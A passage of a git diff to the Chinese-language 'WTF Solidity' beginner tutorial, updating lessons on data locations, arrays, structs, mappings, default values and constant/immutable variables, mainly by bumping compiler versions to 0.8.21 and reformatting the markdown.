`storage`(合约的状态变量)赋值给本地`storage`(函数里的)时候,会创建引用,改变新变量会影响原变量。例子: + + ```solidity + uint[] x = [1,2,3]; // 状态变量:数组 x + function fStorage() public{ + //声明一个storage的变量 xStorage,指向x。修改xStorage也会影响x + uint[] storage xStorage = x; + xStorage[0] = 100; + } + ``` + **Example:** - - `memory`赋值给`memory`,会创建引用,改变新变量会影响原变量。 + ![5-2.png](./img/5-2.png) + - `memory`赋值给`memory`,会创建引用,改变新变量会影响原变量。 - - 其他情况下,赋值创建的是本体的副本,即对二者之一的修改,并不会同步到另一方 +- 其他情况下,赋值创建的是本体的副本,即对二者之一的修改,并不会同步到另一方 ## 变量的作用域 + `Solidity`中变量按作用域划分有三种,分别是状态变量(state variable),局部变量(local variable)和全局变量(global variable) + ### 1. 状态变量 -状态变量是数据存储在链上的变量,所有合约内函数都可以访问 -,`gas`消耗高。状态变量在合约内、函数外声明: + +状态变量是数据存储在链上的变量,所有合约内函数都可以访问,`gas`消耗高。状态变量在合约内、函数外声明: + ```solidity contract Variables { uint public x = 1; @@ -80,85 +87,100 @@ contract Variables { ``` 我们可以在函数里更改状态变量的值: + ```solidity - function foo() external{ - // 可以在函数里更改状态变量的值 - x = 5; - y = 2; - z = "0xAA"; - } +function foo() external{ + // 可以在函数里更改状态变量的值 + x = 5; + y = 2; + z = "0xAA"; +} ``` ### 2. 局部变量 + 局部变量是仅在函数执行过程中有效的变量,函数退出后,变量无效。局部变量的数据存储在内存里,不上链,`gas`低。局部变量在函数内声明: + ```solidity - function bar() external pure returns(uint){ - uint xx = 1; - uint yy = 3; - uint zz = xx + yy; - return(zz); - } +function bar() external pure returns(uint){ + uint xx = 1; + uint yy = 3; + uint zz = xx + yy; + return(zz); +} ``` ### 3. 全局变量 + 全局变量是全局范围工作的变量,都是`solidity`预留关键字。他们可以在函数内不声明直接使用: ```solidity - function global() external view returns(address, uint, bytes memory){ - address sender = msg.sender; - uint blockNum = block.number; - bytes memory data = msg.data; - return(sender, blockNum, data); - } +function global() external view returns(address, uint, bytes memory){ + address sender = msg.sender; + uint blockNum = block.number; + bytes memory data = msg.data; + return(sender, blockNum, data); +} ``` -在上面例子里,我们使用了3个常用的全局变量:`msg.sender`, `block.number`和`msg.data`,他们分别代表请求发起地址,当前区块高度,和请求数据。下面是一些常用的全局变量,更完整的列表请看这个[链接](https://learnblockchain.cn/docs/solidity/units-and-global-variables.html#special-variables-and-functions): -- `blockhash(uint blockNumber)`: (`bytes32`)给定区块的哈希值 – 只适用于256最近区块, 不包含当前区块。 +在上面例子里,我们使用了3个常用的全局变量:`msg.sender`,`block.number`和`msg.data`,他们分别代表请求发起地址,当前区块高度,和请求数据。下面是一些常用的全局变量,更完整的列表请看这个[链接](https://learnblockchain.cn/docs/solidity/units-and-global-variables.html#special-variables-and-functions): + +- `blockhash(uint blockNumber)`: (`bytes32`) 给定区块的哈希值 – 只适用于256最近区块, 不包含当前区块。 - `block.coinbase`: (`address payable`) 当前区块矿工的地址 -- `block.gaslimit`: (`uint`) 当前区块的gaslimit -- `block.number`: (`uint`) 当前区块的number -- `block.timestamp`: (`uint`) 当前区块的时间戳,为unix纪元以来的秒 -- `gasleft()`: (`uint256`) 剩余 gas -- `msg.data`: (`bytes calldata`) 完整call data -- `msg.sender`: (`address payable`) 消息发送者 (当前 caller) -- `msg.sig`: (`bytes4`) calldata的前四个字节 (function identifier) -- `msg.value`: (`uint`) 当前交易发送的`wei`值 +- `block.gaslimit`: (`uint`) 当前区块的gaslimit +- `block.number`: (`uint`) 当前区块的number +- `block.timestamp`: (`uint`) 当前区块的时间戳,为unix纪元以来的秒 +- `gasleft()`: (`uint256`) 剩余 gas +- `msg.data`: (`bytes calldata`) 完整call data +- `msg.sender`: (`address payable`) 消息发送者 (当前 caller) +- `msg.sig`: (`bytes4`) calldata的前四个字节 (function identifier) +- `msg.value`: (`uint`) 当前交易发送的 `wei` 值 +- `block.blobbasefee`: (`uint`) 当前区块的blob基础费用。这是Cancun升级新增的全局变量。 +- `blobhash(uint index)`: (`bytes32`) 返回跟当前交易关联的第 `index` 个blob的版本化哈希(第一个字节为版本号,当前为`0x01`,后面接KZG承诺的SHA256哈希的最后31个字节)。若当前交易不包含blob,则返回空字节。这是Cancun升级新增的全局变量。 + **Example:** + ![5-4.png](./img/5-4.png) ### 4. 全局变量-以太单位与时间单位 + #### 以太单位 + `Solidity`中不存在小数点,以`0`代替为小数点,来确保交易的精确度,并且防止精度的损失,利用以太单位可以避免误算的问题,方便程序员在合约中处理货币交易。 + - `wei`: 1 - `gwei`: 1e9 = 1000000000 - `ether`: 1e18 = 1000000000000000000 ```solidity - function weiUnit() external pure returns(uint) { - assert(1 wei == 1e0); - assert(1 wei == 1); - return 1 wei; - } +function weiUnit() external pure returns(uint) { + assert(1 wei == 1e0); + assert(1 wei == 1); + return 1 wei; +} - function gweiUnit() external pure returns(uint) { - assert(1 gwei == 1e9); - assert(1 gwei == 1000000000); - return 1 gwei; - } +function gweiUnit() external pure returns(uint) { + assert(1 gwei == 1e9); + assert(1 gwei == 1000000000); + return 1 gwei; +} - function etherUnit() external pure returns(uint) { - assert(1 ether == 1e18); - assert(1 ether == 1000000000000000000); - return 1 ether; - } +function etherUnit() external pure returns(uint) { + assert(1 ether == 1e18); + assert(1 ether == 1000000000000000000); + return 1 ether; +} ``` **Example:** + ![5-5.png](./img/5-5.png) #### 时间单位 + 可以在合约中规定一个操作必须在一周内完成,或者某个事件在一个月后发生。这样就能让合约的执行可以更加精确,不会因为技术上的误差而影响合约的结果。因此,时间单位在`Solidity`中是一个重要的概念,有助于提高合约的可读性和可维护性。 + - `seconds`: 1 - `minutes`: 60 seconds = 60 - `hours`: 60 minutes = 3600 @@ -166,40 +188,40 @@ contract Variables { - `weeks`: 7 days = 604800 ```solidity - function secondsUnit() external pure returns(uint) { - assert(1 seconds == 1); - return 1 seconds; - } +function secondsUnit() external pure returns(uint) { + assert(1 seconds == 1); + return 1 seconds; +} - function minutesUnit() external pure returns(uint) { - assert(1 minutes == 60); - assert(1 minutes == 60 seconds); - return 1 minutes; - } +function minutesUnit() external pure returns(uint) { + assert(1 minutes == 60); + assert(1 minutes == 60 seconds); + return 1 minutes; +} - function hoursUnit() external pure returns(uint) { - assert(1 hours == 3600); - assert(1 hours == 60 minutes); - return 1 hours; - } +function hoursUnit() external pure returns(uint) { + assert(1 hours == 3600); + assert(1 hours == 60 minutes); + return 1 hours; +} - function daysUnit() external pure returns(uint) { - assert(1 days == 86400); - assert(1 days == 24 hours); - return 1 days; - } +function daysUnit() external pure returns(uint) { + assert(1 days == 86400); + assert(1 days == 24 hours); + return 1 days; +} - function weeksUnit() external pure returns(uint) { - assert(1 weeks == 604800); - assert(1 weeks == 7 days); - return 1 weeks; - } +function weeksUnit() external pure returns(uint) { + assert(1 weeks == 604800); + assert(1 weeks == 7 days); + return 1 weeks; +} ``` **Example:** -![5-6.png](./img/5-6.png) +![5-6.png](./img/5-6.png) ## 总结 -在这一讲,我们介绍了`solidity`中的引用类型,数据位置和变量的作用域。重点是`storage`, `memory`和`calldata`三个关键字的用法。他们出现的原因是为了节省链上有限的存储空间和降低`gas`。下一讲我们会介绍引用类型中的数组。 +在这一讲,我们介绍了`Solidity`中的引用类型,数据位置和变量的作用域。重点是`storage`, `memory`和`calldata`三个关键字的用法。他们出现的原因是为了节省链上有限的存储空间和降低`gas`。下一讲我们会介绍引用类型中的数组。 diff --git a/06_ArrayAndStruct/ArrayAndStruct.sol b/06_ArrayAndStruct/ArrayAndStruct.sol index 0096ca6b9..b0ad59f9a 100644 --- a/06_ArrayAndStruct/ArrayAndStruct.sol +++ b/06_ArrayAndStruct/ArrayAndStruct.sol @@ -1,5 +1,5 @@ // SPDX-License-Identifier: MIT -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; contract ArrayTypes { // 固定长度 Array @@ -32,7 +32,7 @@ contract ArrayTypes { } } -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; contract StructTypes { // 结构体 Struct struct Student{ @@ -48,7 +48,7 @@ contract StructTypes { _student.score = 100; } - // 方法2:直接引用状态变量的struct + // 方法2:直接引用状态变量的struct function initStudent2() external{ student.id = 1; student.score = 80; @@ -65,7 +65,7 @@ contract StructTypes { } } -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; contract EnumTypes { // 将uint 0, 1, 2表示为Buy, Hold, Sell enum ActionSet { Buy, Hold, Sell } diff --git a/06_ArrayAndStruct/readme.md b/06_ArrayAndStruct/readme.md index b43164787..d115340f7 100644 --- a/06_ArrayAndStruct/readme.md +++ b/06_ArrayAndStruct/readme.md @@ -9,130 +9,156 @@ tags: # WTF Solidity极简入门: 6. 引用类型, array, struct -我最近在重新学solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新1-3讲。 +我最近在重新学 Solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新 1-3 讲。 -欢迎关注我的推特:[@0xAA_Science](https://twitter.com/0xAA_Science) +推特:[@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) -所有代码开源在github(64个star开微信交流群,已开[填表加入](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform);128个star录教学视频): [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) +社区:[Discord](https://discord.gg/5akcruXrsk)|[微信群](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[官网 wtf.academy](https://wtf.academy) ------ -这一讲,我们将介绍`solidity`中的两个重要变量类型:数组(`array`)和结构体(`struct`)。 +所有代码和教程开源在 github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) + +--- +这一讲,我们将介绍`Solidity`中的两个重要变量类型:数组(`array`)和结构体(`struct`)。 ## 数组 array -数组(`Array`)是`solidity`常用的一种变量类型,用来存储一组数据(整数,字节,地址等等)。数组分为固定长度数组和可变长度数组两种: + +数组(`Array`)是`Solidity`常用的一种变量类型,用来存储一组数据(整数,字节,地址等等)。数组分为固定长度数组和可变长度数组两种: - 固定长度数组:在声明时指定数组的长度。用`T[k]`的格式声明,其中`T`是元素的类型,`k`是长度,例如: -```solidity + + ```solidity // 固定长度 Array uint[8] array1; bytes1[5] array2; address[100] array3; -``` + ``` + - 可变长度数组(动态数组):在声明时不指定数组的长度。用`T[]`的格式声明,其中`T`是元素的类型,例如: -```solidity + + ```solidity // 可变长度 Array uint[] array4; bytes1[] array5; address[] array6; bytes array7; -``` -**注意**:`bytes`比较特殊,是数组,但是不用加`[]`。另外,不能用`byte[]`声明单字节数组,可以使用`bytes`或`bytes1[]`。`bytes` 比 `bytes1[]` 省gas。 + ``` + + **注意**:`bytes`比较特殊,是数组,但是不用加`[]`。另外,不能用`byte[]`声明单字节数组,可以使用`bytes`或`bytes1[]`。`bytes` 比 `bytes1[]` 省gas。 ### 创建数组的规则 -在solidity里,创建数组有一些规则: + +在Solidity里,创建数组有一些规则: - 对于`memory`修饰的`动态数组`,可以用`new`操作符来创建,但是必须声明长度,并且声明后长度不能改变。例子: -```solidity + + ```solidity // memory动态数组 uint[] memory array8 = new uint[](5); bytes memory array9 = new bytes(9); -``` -- 数组字面常数(Array Literals)是写作表达式形式的数组,用方括号包着来初始化array的一种方式,并且里面每一个元素的type是以第一个元素为准的,例如`[1,2,3]`里面所有的元素都是`uint8`类型,因为在solidity中如果一个值没有指定type的话,默认就是最小单位的该type,这里 `uint` 的默认最小单位类型就是`uint8`。而`[uint(1),2,3]`里面的元素都是`uint`类型,因为第一个元素指定了是`uint`类型了,我们都以第一个元素为准。 + ``` -下面的例子中,如果没有对传入 `g()` 函数的数组进行 `uint` 转换,是会报错的。 +- 数组字面常数(Array Literals)是写作表达式形式的数组,用方括号包着来初始化array的一种方式,并且里面每一个元素的type是以第一个元素为准的,例如`[1,2,3]`里面所有的元素都是`uint8`类型,因为在Solidity中,如果一个值没有指定type的话,会根据上下文推断出元素的类型,默认就是最小单位的type,这里默认最小单位类型是`uint8`。而`[uint(1),2,3]`里面的元素都是`uint`类型,因为第一个元素指定了是`uint`类型了,里面每一个元素的type都以第一个元素为准。 -```solidity -// SPDX-License-Identifier: GPL-3.0 -pragma solidity >=0.4.16 <0.9.0; + 下面的例子中,如果没有对传入 `g()` 函数的数组进行 `uint` 转换,是会报错的。 -contract C { - function f() public pure { - g([uint(1), 2, 3]); - } - function g(uint[3] memory) public pure { - // ... + ```solidity + // SPDX-License-Identifier: GPL-3.0 + pragma solidity >=0.4.16 <0.9.0; + + contract C { + function f() public pure { + g([uint(1), 2, 3]); + } + function g(uint[3] memory _data) public pure { + // ... + } } -} -``` + ``` + - 如果创建的是动态数组,你需要一个一个元素的赋值。 -```solidity + + ```solidity uint[] memory x = new uint[](3); x[0] = 1; x[1] = 3; x[2] = 4; -``` + ``` + ### 数组成员 + - `length`: 数组有一个包含元素数量的`length`成员,`memory`数组的长度在创建后是固定的。 - `push()`: `动态数组`拥有`push()`成员,可以在数组最后添加一个`0`元素,并返回该元素的引用。 - `push(x)`: `动态数组`拥有`push(x)`成员,可以在数组最后添加一个`x`元素。 - `pop()`: `动态数组`拥有`pop()`成员,可以移除数组最后一个元素。 **Example:** + ![6-1.png](./img/6-1.png) ## 结构体 struct + `Solidity`支持通过构造结构体的形式定义新的类型。结构体中的元素可以是原始类型,也可以是引用类型;结构体可以作为数组或映射的元素。创建结构体的方法: + ```solidity - // 结构体 - struct Student{ - uint256 id; - uint256 score; - } +// 结构体 +struct Student{ + uint256 id; + uint256 score; +} - Student student; // 初始一个student结构体 +Student student; // 初始一个student结构体 ``` 给结构体赋值的四种方法: ```solidity - // 给结构体赋值 - // 方法1:在函数中创建一个storage的struct引用 - function initStudent1() external{ - Student storage _student = student; // assign a copy of student - _student.id = 11; - _student.score = 100; - } +// 给结构体赋值 +// 方法1:在函数中创建一个storage的struct引用 +function initStudent1() external{ + Student storage _student = student; // assign a copy of student + _student.id = 11; + _student.score = 100; +} ``` + **Example:** + ![6-2.png](./img/6-2.png) ```solidity - // 方法2:直接引用状态变量的struct - function initStudent2() external{ - student.id = 1; - student.score = 80; - } +// 方法2:直接引用状态变量的struct +function initStudent2() external{ + student.id = 1; + student.score = 80; +} ``` + **Example:** + ![6-3.png](./img/6-3.png) ```solidity - // 方法3:构造函数式 - function initStudent3() external { - student = Student(3, 90); - } +// 方法3:构造函数式 +function initStudent3() external { + student = Student(3, 90); +} ``` + **Example:** + ![6-4.png](./img/6-4.png) ```solidity - // 方法4:key value - function initStudent4() external { - student = Student({id: 4, score: 60}); - } +// 方法4:key value +function initStudent4() external { + student = Student({id: 4, score: 60}); +} ``` + **Example:** + ![6-5.png](./img/6-5.png) + ## 总结 -这一讲,我们介绍了solidity中数组(`array`)和结构体(`struct`)的基本用法。下一讲我们将介绍solidity中的哈希表——映射(`mapping`)。 +这一讲,我们介绍了Solidity中数组(`array`)和结构体(`struct`)的基本用法。下一讲我们将介绍Solidity中的哈希表——映射(`mapping`)。 diff --git a/07_Mapping/Mapping.sol b/07_Mapping/Mapping.sol index eb69d1809..0d19ca691 100644 --- a/07_Mapping/Mapping.sol +++ b/07_Mapping/Mapping.sol @@ -1,5 +1,5 @@ // SPDX-License-Identifier: MIT -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; contract Mapping { mapping(uint => address) public idToAddress; // id映射到地址 mapping(address => address) public swapPair; // 币对的映射,地址到地址 diff --git a/07_Mapping/readme.md b/07_Mapping/readme.md index 3e276c828..cb61eabe6 100644 --- a/07_Mapping/readme.md +++ b/07_Mapping/readme.md @@ -9,47 +9,56 @@ tags: # WTF Solidity极简入门: 7. 映射类型 mapping -我最近在重新学solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新1-3讲。 +我最近在重新学 Solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新 1-3 讲。 -推特:[@0xAA_Science](https://twitter.com/0xAA_Science) +推特:[@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) 社区:[Discord](https://discord.gg/5akcruXrsk)|[微信群](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[官网 wtf.academy](https://wtf.academy) -所有代码和教程开源在github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) +所有代码和教程开源在 github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) ------ +--- 这一讲,我们将介绍映射(`Mapping`)类型,Solidity中存储键值对的数据结构,可以理解为哈希表。 ## 映射Mapping + 在映射中,人们可以通过键(`Key`)来查询对应的值(`Value`),比如:通过一个人的`id`来查询他的钱包地址。 声明映射的格式为`mapping(_KeyType => _ValueType)`,其中`_KeyType`和`_ValueType`分别是`Key`和`Value`的变量类型。例子: + ```solidity mapping(uint => address) public idToAddress; // id映射到地址 mapping(address => address) public swapPair; // 币对的映射,地址到地址 -``` +``` + ## 映射的规则 + - **规则1**:映射的`_KeyType`只能选择Solidity内置的值类型,比如`uint`,`address`等,不能用自定义的结构体。而`_ValueType`可以使用自定义的类型。下面这个例子会报错,因为`_KeyType`使用了我们自定义的结构体: -```solidity -// 我们定义一个结构体 Struct -struct Student{ - uint256 id; - uint256 score; -} + + ```solidity + // 我们定义一个结构体 Struct + struct Student{ + uint256 id; + uint256 score; + } mapping(Student => uint) public testVar; -``` -- **规则2**:映射的存储位置必须是`storage`,因此可以用于合约的状态变量,函数中的`storage`变量,和library函数的参数(见[例子](https://github.com/ethereum/solidity/issues/4635))。不能用于`public`函数的参数或返回结果中,因为`mapping`记录的是一种关系 (key - value pair)。 + ``` + +- **规则2**:映射的存储位置必须是`storage`,因此可以用于合约的状态变量,函数中的`storage`变量和library函数的参数(见[例子](https://github.com/ethereum/solidity/issues/4635))。不能用于`public`函数的参数或返回结果中,因为`mapping`记录的是一种关系 (key - value pair)。 - **规则3**:如果映射声明为`public`,那么Solidity会自动给你创建一个`getter`函数,可以通过`Key`来查询对应的`Value`。 - **规则4**:给映射新增的键值对的语法为`_Var[_Key] = _Value`,其中`_Var`是映射变量名,`_Key`和`_Value`对应新增的键值对。例子: -```solidity + + ```solidity function writeMap (uint _Key, address _Value) public{ idToAddress[_Key] = _Value; } -``` + ``` + ## 映射的原理 + - **原理1**: 映射不储存任何键(`Key`)的资讯,也没有length的资讯。 - **原理2**: 映射使用`keccak256(abi.encodePacked(key, slot))`当成offset存取value,其中`slot`是映射变量定义所在的插槽位置。 @@ -57,6 +66,7 @@ struct Student{ - **原理3**: 因为Ethereum会定义所有未使用的空间为0,所以未赋值(`Value`)的键(`Key`)初始值都是各个type的默认值,如uint的默认值是0。 ## 在Remix上验证 (以 `Mapping.sol`为例) + - 映射示例 1 部署 ![7-1](./img/7-1.jpg) @@ -69,8 +79,6 @@ struct Student{ ![7-3](./img/7-3.jpg) - - ## 总结 -这一讲,我们介绍了Solidity中哈希表——映射(`Mapping`)的用法。至此,我们已经学习了所有常用变量种类,之后我们会学习控制流`if-else`,` while`等。 +这一讲,我们介绍了Solidity中哈希表——映射(`Mapping`)的用法。至此,我们已经学习了所有常用变量种类,之后我们会学习控制流`if-else`,`while`等。 diff --git a/08_InitialValue/InitialValue.sol b/08_InitialValue/InitialValue.sol index b7f76745d..03be05acc 100644 --- a/08_InitialValue/InitialValue.sol +++ b/08_InitialValue/InitialValue.sol @@ -1,5 +1,5 @@ // SPDX-License-Identifier: MIT -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; contract InitialValue { // Value Types diff --git a/08_InitialValue/readme.md b/08_InitialValue/readme.md index 13e3b7da0..16a57135d 100644 --- a/08_InitialValue/readme.md +++ b/08_InitialValue/readme.md @@ -8,19 +8,19 @@ tags: # WTF Solidity极简入门: 8. 变量初始值 -我最近在重新学solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新1-3讲。 +我最近在重新学 Solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新 1-3 讲。 -推特:[@0xAA_Science](https://twitter.com/0xAA_Science) +推特:[@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) 社区:[Discord](https://discord.gg/5akcruXrsk)|[微信群](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[官网 wtf.academy](https://wtf.academy) -所有代码和教程开源在github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) +所有代码和教程开源在 github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) ------ +--- ## 变量初始值 -在`solidity`中,声明但没赋值的变量都有它的初始值或默认值。这一讲,我们将介绍常用变量的初始值。 +在`Solidity`中,声明但没赋值的变量都有它的初始值或默认值。这一讲,我们将介绍常用变量的初始值。 ### 值类型初始值 @@ -31,63 +31,70 @@ tags: - `enum`: 枚举中的第一个元素 - `address`: `0x0000000000000000000000000000000000000000` (或 `address(0)`) - `function` - - `internal`: 空白函数 - - `external`: 空白函数 + - `internal`: 空白函数 + - `external`: 空白函数 可以用`public`变量的`getter`函数验证上面写的初始值是否正确: + ```solidity - bool public _bool; // false - string public _string; // "" - int public _int; // 0 - uint public _uint; // 0 - address public _address; // 0x0000000000000000000000000000000000000000 +bool public _bool; // false +string public _string; // "" +int public _int; // 0 +uint public _uint; // 0 +address public _address; // 0x0000000000000000000000000000000000000000 - enum ActionSet { Buy, Hold, Sell} - ActionSet public _enum; // 第1个内容Buy的索引0 +enum ActionSet { Buy, Hold, Sell} +ActionSet public _enum; // 第1个内容Buy的索引0 - function fi() internal{} // internal空白函数 - function fe() external{} // external空白函数 +function fi() internal{} // internal空白函数 +function fe() external{} // external空白函数 ``` ### 引用类型初始值 -- 映射`mapping`: 所有元素都为其默认值的`mapping` +- 映射`mapping`: 所有元素都为其默认值的`mapping` - 结构体`struct`: 所有成员设为其默认值的结构体 - - 数组`array` - - 动态数组: `[]` - - 静态数组(定长): 所有成员设为其默认值的静态数组 + - 动态数组: `[]` + - 静态数组(定长): 所有成员设为其默认值的静态数组 可以用`public`变量的`getter`函数验证上面写的初始值是否正确: + ```solidity - // Reference Types - uint[8] public _staticArray; // 所有成员设为其默认值的静态数组[0,0,0,0,0,0,0,0] - uint[] public _dynamicArray; // `[]` - mapping(uint => address) public _mapping; // 所有元素都为其默认值的mapping - // 所有成员设为其默认值的结构体 0, 0 - struct Student{ - uint256 id; - uint256 score; - } - Student public student; +// Reference Types +uint[8] public _staticArray; // 所有成员设为其默认值的静态数组[0,0,0,0,0,0,0,0] +uint[] public _dynamicArray; // `[]` +mapping(uint => address) public _mapping; // 所有元素都为其默认值的mapping +// 所有成员设为其默认值的结构体 0, 0 +struct Student{ + uint256 id; + uint256 score; +} +Student public student; ``` ### `delete`操作符 + `delete a`会让变量`a`的值变为初始值。 + ```solidity - // delete操作符 - bool public _bool2 = true; - function d() external { - delete _bool2; // delete 会让_bool2变为默认值,false - } +// delete操作符 +bool public _bool2 = true; +function d() external { + delete _bool2; // delete 会让_bool2变为默认值,false +} ``` + ## 在remix上验证 + - 部署合约查看值类型、引用类型的初始值 -![](./img/8-1.png) -- 值类型、引用类型delete操作后的默认值 -![](./img/8-2.png) + ![8-1.png](./img/8-1.png) + +- 值类型、引用类型`delete`操作后的默认值 + + ![8-2.png](./img/8-2.png) ## 总结 -这一讲,我们介绍了`solidity`中变量的初始值。变量被声明但没有赋值的时候,它的值默认为初始值。不同类型的变量初始值不同,`delete`操作符可以删除一个变量的值并代替为初始值。 +这一讲,我们介绍了`Solidity`中变量的初始值。变量被声明但没有赋值的时候,它的值默认为初始值。不同类型的变量初始值不同,`delete`操作符可以删除一个变量的值并代替为初始值。 diff --git a/09_Constant/Constant.sol b/09_Constant/Constant.sol index 5c09fbf6c..a7c50e528 100644 --- a/09_Constant/Constant.sol +++ b/09_Constant/Constant.sol @@ -1,5 +1,5 @@ // SPDX-License-Identifier: MIT -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; contract Constant { // constant变量必须在声明的时候初始化,之后不能改变 uint256 public constant CONSTANT_NUM = 10; @@ -16,7 +16,7 @@ contract Constant { // 利用constructor初始化immutable变量,因此可以利用 constructor(){ IMMUTABLE_ADDRESS = address(this); - IMMUTABLE_BLOCK = block.number; + IMMUTABLE_NUM = 1118; IMMUTABLE_TEST = test(); } diff --git a/09_Constant/readme.md b/09_Constant/readme.md index a78064e09..3ecc688c6 100644 --- a/09_Constant/readme.md +++ b/09_Constant/readme.md @@ -9,67 +9,76 @@ tags: # WTF Solidity极简入门: 9. 常数 constant和immutable -我最近在重新学solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新1-3讲。 +我最近在重新学 Solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新 1-3 讲。 -推特:[@0xAA_Science](https://twitter.com/0xAA_Science) +推特:[@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) 社区:[Discord](https://discord.gg/5akcruXrsk)|[微信群](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[官网 wtf.academy](https://wtf.academy) -所有代码和教程开源在github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) +所有代码和教程开源在 github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) ------ -这一讲,我们介绍Solidity中和常量相关的两个关键字,`constant`(常量)和`immutable`(不变量)。状态变量声明这个两个关键字之后,不能在合约后更改数值。这样做的好处是提升合约的安全性并节省`gas`。 +--- +这一讲,我们介绍Solidity中和常量相关的两个关键字,`constant`(常量)和`immutable`(不变量)。状态变量声明这两个关键字之后,不能在初始化后更改数值。这样做的好处是提升合约的安全性并节省`gas`。 另外,只有数值变量可以声明`constant`和`immutable`;`string`和`bytes`可以声明为`constant`,但不能为`immutable`。 ## constant和immutable + ### constant + `constant`变量必须在声明的时候初始化,之后再也不能改变。尝试改变的话,编译不通过。 + ``` solidity - // constant变量必须在声明的时候初始化,之后不能改变 - uint256 constant CONSTANT_NUM = 10; - string constant CONSTANT_STRING = "0xAA"; - bytes constant CONSTANT_BYTES = "WTF"; - address constant CONSTANT_ADDRESS = 0x0000000000000000000000000000000000000000; +// constant变量必须在声明的时候初始化,之后不能改变 +uint256 constant CONSTANT_NUM = 10; +string constant CONSTANT_STRING = "0xAA"; +bytes constant CONSTANT_BYTES = "WTF"; +address constant CONSTANT_ADDRESS = 0x0000000000000000000000000000000000000000; ``` + ### immutable -`immutable`变量可以在声明时或构造函数中初始化,因此更加灵活。 + +`immutable`变量可以在声明时或构造函数中初始化,因此更加灵活。在`Solidity v8.0.21`以后,`immutable`变量不需要显式初始化。反之,则需要显式初始化。 +若`immutable`变量既在声明时初始化,又在constructor中初始化,会使用constructor初始化的值。 + ``` solidity - // immutable变量可以在constructor里初始化,之后不能改变 - uint256 public immutable IMMUTABLE_NUM = 9999999999; - address public immutable IMMUTABLE_ADDRESS; - uint256 public immutable IMMUTABLE_BLOCK; - uint256 public immutable IMMUTABLE_TEST; +// immutable变量可以在constructor里初始化,之后不能改变 +uint256 public immutable IMMUTABLE_NUM = 9999999999; +address public immutable IMMUTABLE_ADDRESS; +uint256 public immutable IMMUTABLE_BLOCK; +uint256 public immutable IMMUTABLE_TEST; ``` -你可以使用全局变量例如`address(this)`,`block.number` ,或者自定义的函数给`immutable`变量初始化。在下面这个例子,我们利用了`test()`函数给`IMMUTABLE_TEST`初始化为`9`: + +你可以使用全局变量例如`address(this)`,`block.number` 或者自定义的函数给`immutable`变量初始化。在下面这个例子,我们利用了`test()`函数给`IMMUTABLE_TEST`初始化为`9`: + ``` solidity - // 利用constructor初始化immutable变量,因此可以利用 - constructor(){ - IMMUTABLE_ADDRESS = address(this); - IMMUTABLE_BLOCK = block.number; - IMMUTABLE_TEST = test(); - } - - function test() public pure returns(uint256){ - uint256 what = 9; - return(what); - } +// 利用constructor初始化immutable变量,因此可以利用 +constructor(){ + IMMUTABLE_ADDRESS = address(this); + IMMUTABLE_NUM = 1118; + IMMUTABLE_TEST = test(); +} + +function test() public pure returns(uint256){ + uint256 what = 9; + return(what); +} ``` ## 在remix上验证 + 1. 部署好合约之后,通过remix上的`getter`函数,能获取到`constant`和`immutable`变量初始化好的值。 - ![9-1.png](./img/9-1.png) - + ![9-1.png](./img/9-1.png) + 2. `constant`变量初始化之后,尝试改变它的值,会编译不通过并抛出`TypeError: Cannot assign to a constant variable.`的错误。 + ![9-2.png](./img/9-2.png) - ![9-2.png](./img/9-2.png) - 3. `immutable`变量初始化之后,尝试改变它的值,会编译不通过并抛出`TypeError: Immutable state variable already initialized.`的错误。 ![9-3.png](./img/9-3.png) ## 总结 -这一讲,我们介绍了Solidity中两个关键字,`constant`(常量)和`immutable`(不变量),让不应该变的变量保持不变。这样的做法能在节省`gas`的同时提升合约的安全性。 